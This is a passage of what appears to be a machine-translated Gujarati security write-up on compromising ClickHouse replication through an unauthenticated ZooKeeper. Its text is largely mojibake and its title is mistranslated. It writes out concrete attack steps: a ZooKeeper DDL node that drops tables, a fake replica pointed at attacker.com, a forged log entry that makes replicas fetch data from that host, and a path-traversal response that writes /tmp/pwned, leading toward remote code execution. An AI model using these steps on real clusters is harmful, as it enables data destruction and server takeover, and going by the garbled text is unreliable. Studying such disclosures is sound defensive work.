เชคเชฎเชพเชฐเซ‡ เชชเซเชฐเชพเชฃเซ€ เชธเช‚เช—เซเชฐเชนเชพเชฒเชฏเชจเชพ เชชเชพเช‚เชœเชฐเชพ เชฌเช‚เชง เชฐเชพเช–เชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช•เซ‡เชฎ เช›เซ‡?

เชคเชฎเชพเชฐเซ‡ เชชเซเชฐเชพเชฃเซ€ เชธเช‚เช—เซเชฐเชนเชพเชฒเชฏเชจเชพ เชชเชพเช‚เชœเชฐเชพ เชฌเช‚เชง เชฐเชพเช–เชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช•เซ‡เชฎ เช›เซ‡?

เช† เชฒเซ‡เช– เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เชฐเซ‡เชชเซเชฒเชฟเช•เซ‡เชถเชจ เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒเชฎเชพเช‚ เช–เซ‚เชฌ เชœ เชšเซ‹เช•เซเช•เชธ เชจเชฌเชณเชพเชˆเชจเซ€ เชตเชพเชฐเซเชคเชพ เช•เชนเซ‡เชถเซ‡, เช…เชจเซ‡ เช เชชเชฃ เชฌเชคเชพเชตเชถเซ‡ เช•เซ‡ เชนเซเชฎเชฒเชพเชจเซ€ เชธเชชเชพเชŸเซ€เชจเซ‡ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เชตเชฟเชธเซเชคเซƒเชค เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡.

เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เช เชกเซ‡เชŸเชพเชจเชพ เชฎเซ‹เชŸเชพ เชœเชฅเซเชฅเชพเชจเซ‡ เชธเช‚เช—เซเชฐเชนเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡เชจเซ‹ เชกเซ‡เชŸเชพเชฌเซ‡เช เช›เซ‡, เชฎเซ‹เชŸเซ‡เชญเชพเช—เซ‡ เชเช• เช•เชฐเชคเชพเช‚ เชตเชงเซ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ‡ เช›เซ‡. เช•เซเชฒเชฟเช•เชนเชพเช‰เชธเชฎเชพเช‚ เช•เซเชฒเชธเซเชŸเชฐเชฟเช‚เช— เช…เชจเซ‡ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชŸเซ‹เชš เชชเชฐ เชฌเชจเซ‡เชฒ เช›เซ‡ เช…เชชเชพเชšเซ‡ เชเซ‚เช•เซ€เชชเชฐ (ZK) เช…เชจเซ‡ เชฒเช–เชตเชพเชจเชพ เช…เชงเชฟเช•เชพเชฐเซ‹เชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡.

เชกเชฟเชซเซ‰เชฒเซเชŸ ZK เช‡เชจเซเชธเซเชŸเซ‹เชฒเซ‡เชถเชจเชจเซ‡ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃเชจเซ€ เชœเชฐเซ‚เชฐ เชจเชฅเซ€, เชคเซ‡เชฅเซ€ เช•เชพเชซเช•เชพ, เชนเชกเซเชช, เช•เซเชฒเชฟเช•เชนเชพเช‰เชธเชจเซ‡ เช—เซ‹เช เชตเชตเชพ เชฎเชพเชŸเซ‡ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเชพ เชนเชœเชพเชฐเซ‹ ZK เชธเชฐเซเชตเชฐเซเชธ เชธเชพเชฐเซเชตเชœเชจเชฟเช• เชฐเซ‚เชชเซ‡ เช‰เชชเชฒเชฌเซเชง เช›เซ‡.

เชคเชฎเชพเชฐเซ€ เชนเซเชฎเชฒเชพเชจเซ€ เชธเชชเชพเชŸเซ€เชจเซ‡ เช˜เชŸเชพเชกเชตเชพ เชฎเชพเชŸเซ‡, เชคเชฎเชพเชฐเซ‡ ZooKeeper เช‡เชจเซเชธเซเชŸเซ‹เชฒ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชนเช‚เชฎเซ‡เชถเชพ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เช…เชจเซ‡ เช…เชงเชฟเช•เซƒเชคเชคเชพ เช—เซ‹เช เชตเชตเซ€ เชœเซ‹เชˆเช.

เช…เชฒเชฌเชคเซเชค เช•เซ‡เชŸเชฒเชพเช• 0เชฆเชฟเชตเชธ เช†เชงเชพเชฐเชฟเชค เชœเชพเชตเชพ เชกเซ€เชธเซ€เชฐเชฟเชฏเชฒเชพเชˆเชเซ‡เชถเชจ เช›เซ‡, เชชเชฐเช‚เชคเซ เช•เชฒเซเชชเชจเชพ เช•เชฐเซ‹ เช•เซ‡ เชนเซเชฎเชฒเชพเช–เซ‹เชฐ ZooKeeper เชจเซ‡ เชตเชพเช‚เชšเซ€ เช…เชจเซ‡ เชฒเช–เซ€ เชถเช•เซ‡ เช›เซ‡, เชœเซ‡เชจเซ‹ เช‰เชชเชฏเซ‹เช— ClickHouse เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชฎเชพเชŸเซ‡ เชฅเชพเชฏ เช›เซ‡.

เชœเซเชฏเชพเชฐเซ‡ เช•เซเชฒเชธเซเชŸเชฐ เชฎเซ‹เชกเชฎเชพเช‚ เช—เซ‹เช เชตเซ‡เชฒ เชนเซ‹เชฏ, เชคเซเชฏเชพเชฐเซ‡ เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เชตเชฟเชคเชฐเชฟเชค เช•เซเชตเซ‡เชฐเซ€เชเชจเซ‡ เชธเชชเซ‹เชฐเซเชŸ เช•เชฐเซ‡ เช›เซ‡ เชกเซ€เชกเซ€เชเชฒ, ZK เชฎเชพเช‚เชฅเซ€ เชชเชธเชพเชฐ เชฅเชตเซเช‚ - เชคเซ‡เชฎเชจเชพ เชฎเชพเชŸเซ‡ เชถเซ€เชŸเชฎเชพเช‚ เช—เชพเช‚เช เซ‹ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ /clickhouse/task_queue/ddl.

เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชคเชฎเซ‡ เชจเซ‹เชก เชฌเชจเชพเชตเซ‹ /clickhouse/task_queue/ddl/query-0001 เชธเชพเชฎเช—เซเชฐเซ€ เชธเชพเชฅเซ‡:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

เช…เชจเซ‡ เชคเซ‡ เชชเช›เซ€, เชŸเซ‡เชธเซเชŸ เชŸเซ‡เชฌเชฒ เช•เซเชฒเชธเซเชŸเชฐ เชธเชฐเซเชตเชฐ host1 เช…เชจเซ‡ host2 เชชเชฐเชฅเซ€ เช•เชพเชขเซ€ เชจเชพเช–เชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. DDL CREATE/ALTER/DROP เช•เซเชตเซ‡เชฐเซ€เช เชšเชฒเชพเชตเชตเชพเชจเซเช‚ เชชเชฃ เชธเชฎเชฐเซเชฅเชจ เช•เชฐเซ‡ เช›เซ‡.

เชกเชฐเชพเชฎเชฃเซ€ เช…เชตเชพเชœ? เชชเชฐเช‚เชคเซ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเซ‡ เชธเชฐเซเชตเชฐ เชธเชฐเชจเชพเชฎเชพเช‚ เช•เซเชฏเชพเช‚เชฅเซ€ เชฎเชณเซ€ เชถเช•เซ‡?

เชนเชพเช‰เชธ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชชเชฐ เช•เซเชฒเชฟเช• เช•เชฐเซ‹ เชตเซเชฏเช•เซเชคเชฟเช—เชค เช•เซ‹เชทเซเชŸเช•เซ‹เชจเชพ เชธเซเชคเชฐ เชชเชฐ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡, เชœเซ‡เชฅเซ€ เชœเซเชฏเชพเชฐเซ‡ ZK เชฎเชพเช‚ เช•เซ‹เชทเซเชŸเช• เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡, เชคเซเชฏเชพเชฐเซ‡ เชธเชฐเซเชตเชฐ เชจเชฟเชฐเซเชฆเชฟเชทเซเชŸ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เชœเซ‡ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเช“ เชธเชพเชฅเซ‡ เชฎเซ‡เชŸเชพเชกเซ‡เชŸเชพเชจเซ€ เช†เชชเชฒเซ‡ เชฎเชพเชŸเซ‡ เชœเชตเชพเชฌเชฆเชพเชฐ เชนเชถเซ‡. เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชตเชฟเชจเช‚เชคเชฟ เชšเชฒเชพเชตเชคเซ€ เชตเช–เชคเซ‡ (ZK เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชฟเชค เชนเซ‹เชตเซเช‚ เช†เชตเชถเซเชฏเช• เช›เซ‡, chXX - เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเชจเซเช‚ เชจเชพเชฎ, foobar - เชŸเซ‡เชฌเชฒ เชจเชพเชฎ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

เช—เชพเช‚เช เซ‹ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡ เช•เซ‰เชฒเชฎ ะธ เชฎเซ‡เชŸเชพเชกเซ‡เชŸเชพ.

เชธเชพเชฎเช—เซเชฐเซ€ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เชถเซเช‚ เช† เช•เซเชฒเชธเซเชŸเชฐเชฎเชพเช‚เชฅเซ€ เชกเซ‡เชŸเชพ เชฎเชฐเซเชœ เช•เชฐเชตเซเช‚ เชถเช•เซเชฏ เช›เซ‡? เชนเชพ, เชœเซ‹ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชชเซ‹เชฐเซเชŸ (TCP/9009) เชธเชฐเซเชตเชฐ เชชเชฐ chXX-address เชซเชพเชฏเชฐเชตเซ‹เชฒ เชฌเช‚เชง เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡ เชจเชนเซ€เช‚ เช…เชจเซ‡ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชฎเชพเชŸเซ‡ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชฟเชค เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡ เชจเชนเซ€เช‚. เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃเชจเซ‡ เชฌเชพเชฏเชชเชพเชธ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เช•เชฐเชตเซเช‚?

เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชซเช•เซเชค เชคเซ‡เชฎเชพเช‚เชฅเซ€ เชธเชฎเชพเชตเชฟเชทเซเชŸเซ‹เชจเซ€ เชจเช•เชฒ เช•เชฐเซ€เชจเซ‡ ZK เชฎเชพเช‚ เชจเชตเซ€ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชฌเชจเชพเชตเซ€ เชถเช•เซ‡ เช›เซ‡ /clickhouse/tables/01-01/foobar/replicas/chXX เช…เชจเซ‡ เช…เชฐเซเชฅ เชฌเชฆเชฒเซ€ เชฐเชนเซเชฏเชพ เช›เซ‡ host.

เชธเชพเชฎเช—เซเชฐเซ€ /clickhouse/tables/01โ€“01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

เชชเช›เซ€ เชคเชฎเชพเชฐเซ‡ เช…เชจเซเชฏ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเช“เชจเซ‡ เช•เชนเซ‡เชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡ เช•เซ‡ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเชพ เชธเชฐเซเชตเชฐ เชชเชฐ เชกเซ‡เชŸเชพเชจเซ‹ เชเช• เชจเชตเซ‹ เชฌเซเชฒเซ‹เช• เช›เซ‡ เชœเซ‡ เชคเซ‡เชฎเชจเซ‡ เชฒเซ‡เชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡ - ZK เชฎเชพเช‚ เชจเซ‹เชก เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เช›เซ‡. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX เชเช•เชตเชฟเชง เชฐเซ€เชคเซ‡ เชตเชงเชคเซเช‚ เช•เชพเช‰เชจเซเชŸเชฐ, เชœเซ‡ เช‡เชตเซ‡เชจเซเชŸ เชฒเซ‹เช—เชฎเชพเช‚ เช›เซ‡เชฒเซเชฒเชพ เชเช• เช•เชฐเชคเชพ เชตเชงเชพเชฐเซ‡ เชนเซ‹เชตเซเช‚ เชœเซ‹เชˆเช):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

เชœเซเชฏเชพเช‚ เชธเซเชคเซเชฐเซ‹เชค_เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ - เช…เช—เชพเช‰เชจเชพ เชชเช—เชฒเชพเชฎเชพเช‚ เชฌเชจเชพเชตเซ‡เชฒ เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเซ€ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเชจเซเช‚ เชจเชพเชฎ, เชฌเซเชฒเซ‹เช•_เช†เชˆเชกเซ€ - เชกเซ‡เชŸเชพ เชฌเซเชฒเซ‹เช• เช“เชณเช–เช•เชฐเซเชคเชพ, เชฎเซ‡เชณเชตเชตเซเช‚ - "เช—เซ‡เชŸ เชฌเซเชฒเซ‹เช•" เช†เชฆเซ‡เชถ (เช…เชจเซ‡ เช…เชนเซ€เช‚ เช…เชจเซเชฏ เช•เชพเชฎเช—เซ€เชฐเซ€ เชฎเชพเชŸเซ‡ เช†เชฆเซ‡เชถเซ‹ เช›เซ‡).

เช†เช—เชณ, เชฆเชฐเซ‡เช• เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชฒเซ‹เช—เชฎเชพเช‚ เชเช• เชจเชตเซ€ เช˜เชŸเชจเชพ เชตเชพเช‚เชšเซ‡ เช›เซ‡ เช…เชจเซ‡ เชกเซ‡เชŸเชพเชจเซ‹ เชฌเซเชฒเซ‹เช• เชฎเซ‡เชณเชตเชตเชพ เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชฆเซเชตเชพเชฐเชพ เชจเชฟเชฏเช‚เชคเซเชฐเชฟเชค เชธเชฐเซเชตเชฐ เชชเชฐ เชœเชพเชฏ เช›เซ‡ (เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เชฌเชพเชˆเชจเชฐเซ€ เช›เซ‡, HTTP เชจเซ€ เชŸเซ‹เชš เชชเชฐ เชšเชพเชฒเซ‡ เช›เซ‡). เชธเชฐเซเชตเชฐ attacker.com เชตเชฟเชจเช‚เชคเซ€เช“ เชชเซเชฐเชพเชชเซเชค เชฅเชถเซ‡:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

เชœเซเชฏเชพเช‚ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชฎเชพเชŸเซ‡ XXX เช เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชกเซ‡เชŸเชพ เช›เซ‡. เช•เซ‡เชŸเชฒเชพเช• เช•เชฟเชธเซเชธเชพเช“เชฎเชพเช‚, เช† เชฎเซเช–เซเชฏ เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เช…เชจเซ‡ HTTP เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒ เชฆเซเชตเชพเชฐเชพ เชกเซ‡เชŸเชพเชฌเซ‡เชเชจเซ€ เชเช•เซเชธเซ‡เชธ เชงเชฐเชพเชตเชคเซเช‚ เชเช•เชพเช‰เชจเซเชŸ เชนเซ‹เชˆ เชถเช•เซ‡ เช›เซ‡. เชœเซ‡เชฎ เชคเชฎเซ‡ เชœเซ‹เชฏเซเช‚ เชคเซ‡เชฎ, เชนเซเชฎเชฒเชพเชจเซ€ เชธเชชเชพเชŸเซ€ เช—เช‚เชญเซ€เชฐ เชฐเซ€เชคเซ‡ เชฎเซ‹เชŸเซ€ เชฌเชจเซ€ เชœเชพเชฏ เช›เซ‡ เช•เชพเชฐเชฃ เช•เซ‡ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชฎเชพเชŸเซ‡ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเชพ ZooKeeper, เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชฟเชค เช•เชฐเซเชฏเชพ เชตเชฟเชจเชพ เช›เซ‹เชกเซ€ เชฆเซ‡เชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚.

เชšเชพเชฒเซ‹ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเชฎเชพเช‚เชฅเซ€ เชกเซ‡เชŸเชพเชจเชพ เชฌเซเชฒเซ‹เช• เชฎเซ‡เชณเชตเชตเชพเชจเชพ เช•เชพเชฐเซเชฏเชจเซ‡ เชœเซ‹เชˆเช, เชคเซ‡ เชธเช‚เชชเซ‚เชฐเซเชฃ เชตเชฟเชถเซเชตเชพเชธ เชธเชพเชฅเซ‡ เชฒเช–เชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เช›เซ‡ เช•เซ‡ เชฌเชงเซ€ เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเช“ เชฏเซ‹เช—เซเชฏ เชจเชฟเชฏเช‚เชคเซเชฐเชฃ เชนเซ‡เช เชณ เช›เซ‡ เช…เชจเซ‡ เชคเซ‡เชฎเชจเซ€ เชตเชšเซเชšเซ‡ เชตเชฟเชถเซเชตเชพเชธ เช›เซ‡.

เชคเชฎเชพเชฐเซ‡ เชชเซเชฐเชพเชฃเซ€ เชธเช‚เช—เซเชฐเชนเชพเชฒเชฏเชจเชพ เชชเชพเช‚เชœเชฐเชพ เชฌเช‚เชง เชฐเชพเช–เชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เช•เซ‡เชฎ เช›เซ‡?
เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เซ‹เชก

เชซเช‚เช•เซเชถเชจ เชซเชพเช‡เชฒเซ‹เชจเซ€ เชธเซ‚เชšเชฟ เชตเชพเช‚เชšเซ‡ เช›เซ‡, เชชเช›เซ€ เชคเซ‡เชฎเชจเชพ เชจเชพเชฎ, เช•เชฆ, เชธเชฎเชพเชตเชฟเชทเซเชŸเซ‹, เช…เชจเซ‡ เชชเช›เซ€ เชคเซ‡เชฎเชจเซ‡ เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎ เชชเชฐ เชฒเช–เซ‡ เช›เซ‡. เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎเชฎเชพเช‚ เชกเซ‡เชŸเชพ เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เชธเช‚เช—เซเชฐเชนเชฟเชค เชฅเชพเชฏ เช›เซ‡ เชคเซ‡เชจเซเช‚ เช…เชฒเช—เชฅเซ€ เชตเชฐเซเชฃเชจ เช•เชฐเชตเซเช‚ เชฏเซ‹เช—เซเชฏ เช›เซ‡.

เชฎเชพเช‚ เช˜เชฃเซ€ เชฌเชงเซ€ เชธเชฌเชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เช เช›เซ‡ /var/lib/clickhouse (เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชจ เชซเชพเช‡เชฒเชฎเชพเช‚เชฅเซ€ เชฎเซ‚เชณเชญเซ‚เชค เชธเช‚เช—เซเชฐเชน เชจเชฟเชฐเซเชฆเซ‡เชถเชฟเช•เชพ):

เชซเซเชฒเซ‡เช—เซเชธ - เชฐเซ‡เช•เซ‹เชฐเซเชกเชฟเช‚เช— เชฎเชพเชŸเซ‡ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชงเซเชตเชœ, เชกเซ‡เชŸเชพ เช—เซเชฎเชพเชตเซเชฏเชพ เชชเช›เซ€ เชชเซเชจเชƒเชชเซเชฐเชพเชชเซเชคเชฟเชฎเชพเช‚ เชตเชชเชฐเชพเชฏ เช›เซ‡;
tmp - เช…เชธเซเชฅเชพเชฏเซ€ เชซเชพเช‡เชฒเซ‹เชจเซ‡ เชธเช‚เช—เซเชฐเชนเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡เชจเซ€ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€;
user_files โ€” เชตเชฟเชจเช‚เชคเซ€เช“เชฎเชพเช‚ เชซเชพเช‡เชฒเซ‹ เชธเชพเชฅเซ‡เชจเซ€ เช•เชพเชฎเช—เซ€เชฐเซ€ เช† เชจเชฟเชฐเซเชฆเซ‡เชถเชฟเช•เชพ เชธเซเชงเซ€ เชฎเชฐเซเชฏเชพเชฆเชฟเชค เช›เซ‡ (INTO OUTFILE เช…เชจเซ‡ เช…เชจเซเชฏ);
เชฎเซ‡เชŸเชพเชกเซ‡เชŸเชพ - เช•เซ‹เชทเซเชŸเช• เชตเชฐเซเชฃเชจเซ‹ เชธเชพเชฅเซ‡ sql เชซเชพเช‡เชฒเซ‹;
preprocessed_configs - เชฎเชพเช‚เชฅเซ€ เชชเซเชฐเซ‹เชธเซ‡เชธเซเชก เชกเซ‡เชฐเชฟเชตเซ‡เชŸเชฟเชต เชฐเซ‚เชชเชฐเซ‡เช–เชพเช‚เช•เชจ เชซเชพเช‡เชฒเซ‹ /etc/clickhouse-server;
เชฎเชพเชนเชฟเชคเซ€ - เชกเซ‡เชŸเชพ เชธเชพเชฅเซ‡เชจเซ€ เชตเชพเชธเซเชคเชตเชฟเช• เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€, เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚ เชฆเชฐเซ‡เช• เชกเซ‡เชŸเชพเชฌเซ‡เช เชฎเชพเชŸเซ‡ เชเช• เช…เชฒเช— เชธเชฌเชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เช…เชนเซ€เช‚ เชธเชฐเชณ เชฐเซ€เชคเซ‡ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡ (เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡ /var/lib/clickhouse/data/default).

เชฆเชฐเซ‡เช• เช•เซ‹เชทเซเชŸเช• เชฎเชพเชŸเซ‡, เชกเซ‡เชŸเชพเชฌเซ‡เช เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เชฎเชพเช‚ เชธเชฌเชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เชฆเชฐเซ‡เช• เช•เซ‰เชฒเชฎ เชชเชฐ เช†เชงเชพเชฐ เชฐเชพเช–เซ€เชจเซ‡ เชเช• เช…เชฒเช— เชซเชพเช‡เชฒ เช›เซ‡ เชเชจเซเชœเชฟเชจ เชซเซ‹เชฐเซเชฎเซ‡เชŸ. เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชŸเซ‡เชฌเชฒ เชฎเชพเชŸเซ‡ foobarเชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชฆเซเชตเชพเชฐเชพ เชฌเชจเชพเชตเซ‡เชฒ, เชจเซ€เชšเซ‡เชจเซ€ เชซเชพเช‡เชฒเซ‹ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟ เชกเซ‡เชŸเชพเชจเชพ เชฌเซเชฒเซ‹เช•เชจเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชธเชฎเชพเชจ เชจเชพเชฎเซ‹เชจเซ€ เชซเชพเช‡เชฒเซ‹ เชชเซเชฐเชพเชชเซเชค เช•เชฐเชตเชพเชจเซ€ เช…เชชเซ‡เช•เซเชทเชพ เชฐเชพเช–เซ‡ เช›เซ‡ เช…เชจเซ‡ เชคเซ‡เชจเซ‡ เช•เซ‹เชˆเชชเชฃ เชฐเซ€เชคเซ‡ เชฎเชพเชจเซเชฏ เช•เชฐเชคเซ€ เชจเชฅเซ€.

เชธเชšเซ‡เชค เชตเชพเชšเช•เซ‡ เช•เชฆเชพเชš เชชเชนเซ‡เชฒเชพเชฅเซ€ เชœ เชซเช‚เช•เซเชถเชจเชฎเชพเช‚ file_name เชจเชพ เช…เชธเซเชฐเช•เซเชทเชฟเชค เชœเซ‹เชกเชพเชฃ เชตเชฟเชถเซ‡ เชธเชพเช‚เชญเชณเซเชฏเซเช‚ เชนเชถเซ‡ WriteBufferFromFile. เชนเชพ, เช† เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เช…เชงเชฟเช•เชพเชฐเซ‹ เชธเชพเชฅเซ‡ FS เชชเชฐ เช•เซ‹เชˆเชชเชฃ เชซเชพเช‡เชฒเชฎเชพเช‚ เชฎเชจเชธเซเชตเซ€ เชธเชพเชฎเช—เซเชฐเซ€ เชฒเช–เชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡ clickhouse. เช† เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, เชนเซเชฎเชฒเชพเช–เซ‹เชฐ เชฆเซเชตเชพเชฐเชพ เชจเชฟเชฏเช‚เชคเซเชฐเชฟเชค เชชเซเชฐเชคเชฟเช•เซƒเชคเชฟเช เชตเชฟเชจเช‚เชคเซ€เชจเซ‹ เชจเซ€เชšเซ‡เชจเซ‹ เชชเซเชฐเชคเชฟเชธเชพเชฆ เชชเชฐเชค เช•เชฐเชตเซ‹ เช†เชตเชถเซเชฏเช• เช›เซ‡ (เชธเชฎเชœเชตเชพเชจเซ€ เชธเชฐเชณเชคเชพ เชฎเชพเชŸเซ‡ เชฒเชพเช‡เชจ เชฌเซเชฐเซ‡เช•เซเชธ เช‰เชฎเซ‡เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เช›เซ‡):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

เช…เชจเซ‡ เชœเซ‹เชกเชพเชฃ เชชเช›เซ€ ../../../../../../../../../tmp/pwned เชซเชพเช‡เชฒ เชฒเช–เชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡ /tmp/pwned เชธเชพเชฎเช—เซเชฐเซ€ เชธเชพเชฅเซ‡ เชนเซ‡เชฒเซ‹เชซเซเชฐเซ‹เชฎเชเซ‚เช•เซ€เชชเชฐ.

เชซเชพเช‡เชฒ เชฒเช–เชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพเชจเซ‡ เชฐเชฟเชฎเซ‹เชŸ เช•เซ‹เชก เชเช•เซเชเชฟเช•เซเชฏเซเชถเชจ (RCE) เชฎเชพเช‚ เชซเซ‡เชฐเชตเชตเชพ เชฎเชพเชŸเซ‡ เช˜เชฃเชพ เชตเชฟเช•เชฒเซเชชเซ‹ เช›เซ‡.

RCE เชฎเชพเช‚ เชฌเชพเชนเซเชฏ เชถเชฌเซเชฆเช•เซ‹เชถเซ‹

เชœเซ‚เชจเชพ เชธเช‚เชธเซเช•เชฐเชฃเซ‹เชฎเชพเช‚, เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เชธเซ‡เชŸเชฟเช‚เช—เซเชธ เชธเชพเชฅเซ‡เชจเซ€ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เช…เชงเชฟเช•เชพเชฐเซ‹ เชธเชพเชฅเซ‡ เชธเช‚เช—เซเชฐเชนเชฟเชค เชนเชคเซ€ เช•เซเชฒเชฟเช•เชนเชพเช‰เชธ เชฎเซ‚เชณเชญเซ‚เชค เชธเซ‡เชŸเชฟเช‚เช—เซเชธ เชซเชพเช‡เชฒเซ‹ XML เชซเชพเช‡เชฒเซ‹ เช›เซ‡ เชœเซ‡ เชธเซ‡เชตเชพ เชธเซเชŸเชพเชฐเซเชŸเช…เชช เชธเชฎเชฏเซ‡ เชตเชพเช‚เชšเซ‡ เช›เซ‡ เช…เชจเซ‡ เชชเช›เซ€ เช•เซ‡เชถ 